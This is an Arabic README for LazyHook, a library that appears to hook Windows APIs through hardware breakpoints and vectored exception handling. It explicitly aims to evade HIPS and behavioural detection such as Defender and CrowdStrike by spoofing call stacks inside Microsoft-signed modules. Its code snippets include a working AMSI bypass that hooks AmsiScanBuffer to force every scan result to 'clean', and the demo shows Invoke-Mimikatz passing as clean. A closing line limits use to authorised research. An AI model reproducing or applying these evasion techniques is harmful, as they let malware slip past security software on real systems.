
تجاوز التحليل السلوكي عن طريق تنفيذ كود خبيث داخل مكدسات استدعاء Microsoft الموثوقة، مكتبة خطاف بدون تصحيح (Patchless Hooking) لـ IAT/EAT.
LazyHook هو إطار عمل خفي لربط استدعاءات الـ API (API Hooking) يتجاوز أنظمة منع التسلل على مستوى المضيف (HIPS) من خلال انتحال مكدس الاستدعاءات (Call Stack Spoofing). من خلال استغلال نقاط التوقف العتادية على مستوى المعالج (Hardware Breakpoints) ومعالجة الاستثناءات الموجهة (Vectored Exception Handling)، ينفّذ تعليمات برمجية عشوائية كما لو كانت صادرة من وحدات موثوقة موقّعة من مايكروسوفت — مما يخدع تمامًا محركات التحليل السلوكي التي تعتمد على فحص مكدس الاستدعاءات والتحقق من أصل الوحدات.
تجنّب التحليل السلوكي عبر تنفيذ تعليمات برمجية خبيثة داخل مكدسات استدعاءات مايكروسوفت الموثوقة
يستخدم نقاط توقف العتاد + VEH لاختطاف الدوال الشرعية وانتحال أصول الوحدات
تراقب أنظمة منع التسلل على مستوى المضيف (HIPS) ومحركات التحليل السلوكي التطبيقات من خلال:
تستخدم أنظمة مثل Kaspersky System Watcher وWindows Defender وCylance وCrowdStrike جميعها أشكالًا مختلفة من هذه التقنيات.
من خلال اختطاف دالة في تجميعة موقّعة من مايكروسوفت (مثل: System.Windows.Forms.dll، user32.dll)، يمكننا تنفيذ منطق برمجي عشوائي داخل مكدس استدعاءات يبدو شرعيًا تمامًا.
ملاحظة: من الممكن استخدام JmpHook، والذي سيربط الدالة MsgBox -> ثم يستدعي الكود المخصص لك مباشرة بعدها. لكن LazyHook لا يقوم بذلك
لماذا ينجح هذا؟
يرى برنامج الأمان السيناريو الثاني ويفكر: "MessageBoxA من user32.dll تستدعي واجهات برمجة تطبيقات ويندوز؟ هذا سلوك طبيعي."
┌─────────────────────────────────────────────────────────┐
│ 1. Target Function Call │
│ ↓ │
│ 2. CPU Debug Register Triggers (DR0-DR3) │
│ ↓ │
│ 3. EXCEPTION_SINGLE_STEP Raised │
│ ↓ │
│ 4. VEH Handler Intercepts Exception │
│ ↓ │
│ 5. Execution Redirected to Hook Function │
│ ↓ │
│ 6. CallOriginal() Temporarily Disables Breakpoint │
│ ↓ │
│ 7. Original Function Executes │
│ ↓ │
│ 8. Breakpoint Re-enabled │
└─────────────────────────────────────────────────────────┘
يعترض الدوال المستوردة عن طريق تحديد عنوانها في IAT وتعيين نقطة توقف عتادية. يؤدي هذا إلى ربط الاستيراد المحدد في عمليتك.
HookIAT("user32.dll", "MessageBoxA", HookFunction, &OriginalFunction);
يربط الدوال المُصدَّرة من DLL بشكل عام عن طريق حلّ عنوانها عبر جدول التصدير. يؤثر هذا على جميع استدعاءات ذلك التصدير.
HookEAT("amsi.dll", "AmsiScanBuffer", HookFunction, &OriginalFunction);
يعرض العرض التوضيحي المرفق ثلاثة سيناريوهات عملية:
يعرض الربط عبر IAT من خلال اعتراض استدعاءات MessageBoxA وتعديل الرسالة المعروضة:
int WINAPI HookMessageBoxA(HWND H, LPCSTR T, LPCSTR C, UINT U)
{
printf("[*] MessageBoxA hooked!\n");
return LazyHook::CallOriginal<int>(LazyHook::GetIatState(), H, "Hooked!", ">:)", U);
}
يعرض كيفية مراقبة عمليات الملفات عبر تسجيل استدعاءات CreateFileA:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("[*] CreateFileA hooked: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
يعرض تجاوز برامج الأمان عن طريق إجبار جميع فحوصات AMSI على إرجاع نتائج نظيفة:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
printf("[*] AmsiScanBuffer hooked! Bypassing...\n");
HRESULT OrgResult = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // Force clean regardless of content
return OrgResult;
}
يختبر العرض التوضيحي تجاوز AMSI بفحص "Invoke-Mimikatz" (سلسلة معروفة بأنها خبيثة) ويُظهر تصنيفها على أنها نظيفة.
DR7 Layout (Simplified):
- Bits 0,2,4,6: Enable flags for DR0-DR3 (Local Enable)
- Bits 16-31: Breakpoint conditions (Execute, Write, IO, R/W)
يقوم الإطار بتهيئة DR7 من أجل:
يقوم معالج VEH بـ:
EXCEPTION_SINGLE_STEPEXCEPTION_CONTINUE_EXECUTION للاستئناف عند الخطافtemplate<typename Ret, typename... Args>
Ret CallOriginal(VehHookState* State, Args... args)
{
RemoveHardwareBreakpoint(State->DrIndex); // Disable temporarily
Ret Result = ((FuncType)State->OriginalFunction)(args...);
SetHardwareBreakpoint(State->OriginalFunction, State->DrIndex); // Re-enable
return Result;
}
يعرض العرض التوضيحي ربط AmsiScanBuffer لإجبار نتائج الفحص على أن تكون نظيفة:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
HRESULT Result = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // Force clean result
return Result;
}
يوضح هذا كيف يمكن تعديل سلوك برامج الأمان في وقت التشغيل عن طريق اعتراض استدعاءات الـ API الحساسة.
اربط CreateFileA لتسجيل الوصول إلى الملفات دون تعديل سلوك التطبيق:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("File accessed: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
يعرض هذا الكود تقنيات مراوغة متقدمة من أجل:
⚠️ تحذير: قد ينتهك الاستخدام غير المصرّح به لتجاوز الضوابط الأمنية أو تعديل سلوك البرامج أو الالتفاف على الحمايات قوانين الاحتيال الحاسوبي (CFAA وGDPR والتشريعات المماثلة). يُقدَّم هذا الإطار لأغراض البحث الأمني التعليمي والمصرّح به فقط.
فهم التقنيات الهجومية يبني دفاعات أفضل.